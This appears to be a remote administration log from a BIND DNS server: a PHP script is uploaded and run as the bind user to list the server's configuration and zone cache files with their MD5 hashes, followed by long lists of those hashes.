MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 6e0e1cd91e9c100ac56c82cc9cbc9b84
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:03:20: Establishing a connection
2026-02-09 15:03:20: 

PUT: /tmp/pkp995545

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:03:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp995545; rm /tmp/pkp995545'

2026-02-09 15:03:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
